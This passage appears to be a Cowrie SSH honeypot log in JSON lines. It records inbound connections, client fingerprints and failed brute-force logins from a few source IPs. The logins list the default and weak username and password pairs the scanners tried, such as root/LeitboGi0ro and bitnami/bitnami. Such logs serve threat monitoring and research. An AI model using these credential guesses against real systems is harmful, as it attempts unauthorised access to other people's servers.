es256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:52.898321Z","src_ip":"91.92.40.36","session":"8c22e23e839f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:53.067411Z","src_ip":"45.153.34.195","session":"85f13bf84aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.0","message":"Connection lost after 28.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:53.209360Z","src_ip":"91.92.40.36","session":"fbb37c97733e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:54.149362Z","src_ip":"45.153.34.195","session":"85f13bf84aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.6","message":"Connection lost after 24.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:54.154527Z","src_ip":"91.92.40.36","session":"90f10df5973b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:54.799312Z","src_ip":"91.92.40.36","session":"d68027fa7f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36112,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5edbc788b0b","protocol":"ssh","message":"New connection: 45.153.34.195:36112 (10.17.0.5:22) [session: d5edbc788b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:55.603321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:55.608355Z","src_ip":"45.153.34.195","session":"d5edbc788b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:55.715681Z","src_ip":"45.153.34.195","session":"d5edbc788b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:56.003520Z","src_ip":"45.153.34.195","session":"d5edbc788b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test001","password":"password","message":"login attempt [test001/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:56.524137Z","src_ip":"91.92.40.36","session":"47c91542f9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:57.089121Z","src_ip":"45.153.34.195","session":"d5edbc788b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51720,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6303417c615","protocol":"ssh","message":"New connection: 91.92.40.36:51720 (159.203.135.109:22) [session: d6303417c615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:57.217144Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36128,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd9a731b998e","protocol":"ssh","message":"New connection: 45.153.34.195:36128 (10.17.0.5:22) [session: dd9a731b998e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:58.468479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:58.514694Z","src_ip":"45.153.34.195","session":"dd9a731b998e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:58.610898Z","src_ip":"45.153.34.195","session":"dd9a731b998e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:59.030438Z","src_ip":"45.153.34.195","session":"dd9a731b998e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:00.115880Z","src_ip":"45.153.34.195","session":"dd9a731b998e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:00.587673Z","src_ip":"91.92.40.36","session":"d6303417c615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:00.590998Z","src_ip":"91.92.40.36","session":"d6303417c615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:00.884535Z","src_ip":"91.92.40.36","session":"47c91542f9f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36130,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2688f4d2e2d","protocol":"ssh","message":"New connection: 45.153.34.195:36130 (10.17.0.5:22) [session: d2688f4d2e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:01.264576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:01.369207Z","src_ip":"45.153.34.195","session":"d2688f4d2e2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:01.372806Z","src_ip":"45.153.34.195","session":"d2688f4d2e2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:01.977165Z","src_ip":"45.153.34.195","session":"d2688f4d2e2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:03.137526Z","src_ip":"45.153.34.195","session":"d2688f4d2e2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51760,"dst_ip":"159.203.135.109","dst_port":22,"session":"d32e9d09036f","protocol":"ssh","message":"New connection: 91.92.40.36:51760 (159.203.135.109:22) [session: d32e9d09036f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:03.480972Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25384,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dea6aa2f7b2","protocol":"ssh","message":"New connection: 45.153.34.195:25384 (10.17.0.5:22) [session: 1dea6aa2f7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:04.215917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:04.227485Z","src_ip":"45.153.34.195","session":"1dea6aa2f7b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:04.335649Z","src_ip":"45.153.34.195","session":"1dea6aa2f7b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:04.922580Z","src_ip":"45.153.34.195","session":"1dea6aa2f7b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123qwerty","message":"login attempt [odoo/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:06.024372Z","src_ip":"91.92.40.36","session":"8c22e23e839f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:06.113171Z","src_ip":"45.153.34.195","session":"1dea6aa2f7b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25402,"dst_ip":"10.17.0.5","dst_port":22,"session":"530c4030fb37","protocol":"ssh","message":"New connection: 45.153.34.195:25402 (10.17.0.5:22) [session: 530c4030fb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:07.086005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:07.090631Z","src_ip":"45.153.34.195","session":"530c4030fb37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:07.171645Z","src_ip":"45.153.34.195","session":"530c4030fb37","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:07.353585Z","src_ip":"91.92.40.36","session":"d32e9d09036f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:07.356959Z","src_ip":"91.92.40.36","session":"d32e9d09036f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sss","password":"sss","message":"login attempt [sss/sss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:07.528303Z","src_ip":"45.153.34.195","session":"530c4030fb37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.94","src_port":43038,"dst_ip":"159.203.135.109","dst_port":22,"session":"02c68f3ae4cf","protocol":"ssh","message":"New connection: 45.79.181.94:43038 (159.203.135.109:22) [session: 02c68f3ae4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.408399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.412808Z","src_ip":"45.79.181.94","session":"02c68f3ae4cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.417208Z","src_ip":"45.79.181.94","session":"02c68f3ae4cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.428270Z","src_ip":"45.79.181.94","session":"02c68f3ae4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.94","src_port":43044,"dst_ip":"159.203.135.109","dst_port":22,"session":"00a042f817b4","protocol":"ssh","message":"New connection: 45.79.181.94:43044 (159.203.135.109:22) [session: 00a042f817b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.432665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:08.436317Z","src_ip":"45.79.181.94","session":"00a042f817b4","protocol":"ssh"}
